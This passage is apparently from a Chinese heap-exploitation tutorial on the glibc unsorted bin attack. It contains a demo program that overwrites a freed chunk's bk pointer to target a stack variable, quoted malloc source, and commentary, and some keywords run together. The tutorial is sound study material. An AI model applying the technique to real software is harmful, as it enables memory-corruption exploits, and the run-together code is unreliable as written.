intmain(){ //...... unsignedlong stack_var=0; fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n"); fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
unsignedlong *p=malloc(400); malloc(500);
free(p); fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer " "point to %p\n",(void*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsignedlong)(&stack_var-2); fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
/* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */
/* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); //skip some code if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; }
这里我们根据源码可以知道,此时unsorted bin 并没有使用unlink,而是自己简单的实现了一个从链表中摘除chunk的逻辑。
我们这里复习一下unsorted bin的特征